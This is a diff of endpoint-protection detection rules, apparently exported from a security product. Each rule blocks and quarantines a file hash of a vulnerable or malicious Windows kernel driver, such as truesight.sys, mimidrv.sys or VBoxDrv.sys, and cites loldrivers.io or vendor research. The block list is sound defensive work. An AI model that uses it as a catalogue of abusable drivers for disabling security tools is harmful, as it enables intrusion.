+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827168Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8b3af5ccbcc7ca3fdde7818e0c706fc490f06aa20fff90c79f270445759e3d7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f439300-d9ac-5abc-a628-053dd62b8304",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808595Z",
+  "creation_date": "2026-03-23T11:45:31.808597Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808603Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f41efd32d4ad9bbcb688c687d7b871c3f33fd5766e28aa3f27c723b48a56bcb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f4a8211-1645-53a6-a186-588ed22d504c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469068Z",
+  "creation_date": "2026-03-23T11:45:30.469072Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469082Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00231ea698565270bf9f542e70490b7a5c6740c2da6699ab548dca0a97ca3171",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f4aea1e-c8b7-5601-bf80-da58ad6a41c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606741Z",
+  "creation_date": "2026-03-23T11:45:29.606743Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606749Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c5732937c3ab5e0fd244cc1b820eaa1fb7d97110c213cd6b9dadebafe3ea853d",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f4b8d79-d903-50e6-9cb0-1a0c611fcb06",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979325Z",
+  "creation_date": "2026-03-23T11:45:29.979327Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979332Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b932eab6c67f62f097a3249477ac46d80ddccdc52654f8674060b4ddf638e5d",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f549cd4-3ad9-58e6-a043-2cc5a63bef0f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480079Z",
+  "creation_date": "2026-03-23T11:45:31.480083Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480093Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d77b2fd954fe46be027c78597c87fa320438665240b751d788033bb183ef7761",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f58814f-50a3-5724-9693-68be040bf957",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819847Z",
+  "creation_date": "2026-03-23T11:45:30.819849Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819854Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb79b99db91dc965263bd2c10ec0f58c6b8f282e0273f40c4249831b74ffec3a",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f616c5c-e1b2-5b65-acfb-249f658be918",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466692Z",
+  "creation_date": "2026-03-23T11:45:30.466695Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466704Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9dc7beb60a0a6e7238fc8589b6c2665331be1e807b4d2b3ddd1c258dbbd3e2f7",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f722226-8d15-5d9c-8079-84811c5b3e6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828477Z",
+  "creation_date": "2026-03-23T11:45:31.828479Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828484Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ec7dca0815075f605a2887eae32def1d28cc09de4fac8b5033b3c0693ad210d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f72eaae-f6ae-52b6-9aa8-e6e2e7d82af1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604033Z",
+  "creation_date": "2026-03-23T11:45:29.604035Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604041Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dcb8df13141708f0dd470b5411c065f8ad21688daf424bd05c94eb6e63dd08aa",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f77e5b1-8eba-5463-8715-e4770c4745a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147917Z",
+  "creation_date": "2026-03-23T11:45:31.147919Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147925Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f7771ea769a351ee971b196b67cffd86afa90d7478f4e20f200b159099bcfcd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f7eeedd-6db3-5bf3-b18d-2d7c4b5099c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606421Z",
+  "creation_date": "2026-03-23T11:45:29.606423Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606428Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0dc57678ba8a87ece2b2ecf0f0fc6ea2366f3f11873f478f49c9b9df8b813288",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f821312-e930-59fd-ac81-43312c234e3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452798Z",
+  "creation_date": "2026-03-23T11:45:30.452802Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452811Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a2cd1dc110d014165c001ce65578da0c0c8d7d41cc1fa44f974e8a82296fc25",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f8e6708-c2d3-571a-b6ef-2e2f0451908f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809596Z",
+  "creation_date": "2026-03-23T11:45:31.809599Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809607Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "110e77c2a77d18067edafcee5c7fbd0c1240498f971e38acf5671800e4c3a667",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f9241e1-4b37-5803-afb0-06acb4d23593",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977834Z",
+  "creation_date": "2026-03-23T11:45:29.977836Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977842Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dec8a933dba04463ed9bb7d53338ff87f2c23cfb79e0e988449fc631252c9dcc",
+  "comment": "Vulnerable Kernel Driver (aka b4.sys) [https://www.loldrivers.io/drivers/d1441172-cc15-4a96-b782-f440bfb681e1/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f927e47-26e1-59ca-b3d3-3cd5daa54b95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142308Z",
+  "creation_date": "2026-03-23T11:45:31.142310Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142316Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b48564115c42432fccccba7018b6578c8ccc33da0c6b7d73f7150f0c4470e6e4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f97d772-a77f-53bf-8978-2d31e85a5d11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141785Z",
+  "creation_date": "2026-03-23T11:45:31.141787Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141793Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f426de2b6078727c9c7a9ac93ce9f8881cc8d2d489f80c419d9206408599764b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f98b9a1-ef14-5b38-a487-bd2041c122aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608794Z",
+  "creation_date": "2026-03-23T11:45:29.608796Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608801Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "681de794238060ec929aa5cf6c4701069f113a8524d31fb2f411648968ca17de",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5f9adcba-9259-5e4d-8c35-c77d2331f244",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823621Z",
+  "creation_date": "2026-03-23T11:45:31.823624Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823629Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb911ee38ebbc680eb44299e9e50f92d8995ddaa1070b3c23a71ab0566940b25",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5fab89d7-37d3-5020-86ac-8476a39553c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141981Z",
+  "creation_date": "2026-03-23T11:45:31.141983Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141989Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8447afc11fdb3664885c026edc07fb909bf7ca62633b1c20d3c82e52d8f03561",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5fae421e-afb7-5024-93b6-9ba5cb0654d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.623007Z",
+  "creation_date": "2026-03-23T11:45:29.623009Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.623015Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "841f965977f33d621d126412032c47dd6118251623c380e5572f7553b620b0e1",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5fb8513c-3766-515c-9275-61c56137ac4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621141Z",
+  "creation_date": "2026-03-23T11:45:29.621143Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621148Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ca829178d01990c8d1d6a681dee074a53f0dd873fd8eef6f6161c682449ec8c5",
+  "comment": "CoreTemp Physmem dangerous drivers (aka ALSYSIO64.sys) [https://www.loldrivers.io/drivers/4d365dd0-34c3-492e-a2bd-c16266796ae5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5fc33fa3-e086-5c6c-9bb1-4714010406fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.147095Z",
+  "creation_date": "2026-03-23T11:45:32.147097Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.147102Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7023f08c9f99076a5fb82a0f661847e2951800f095fca1793a0e6bd9c949b478",
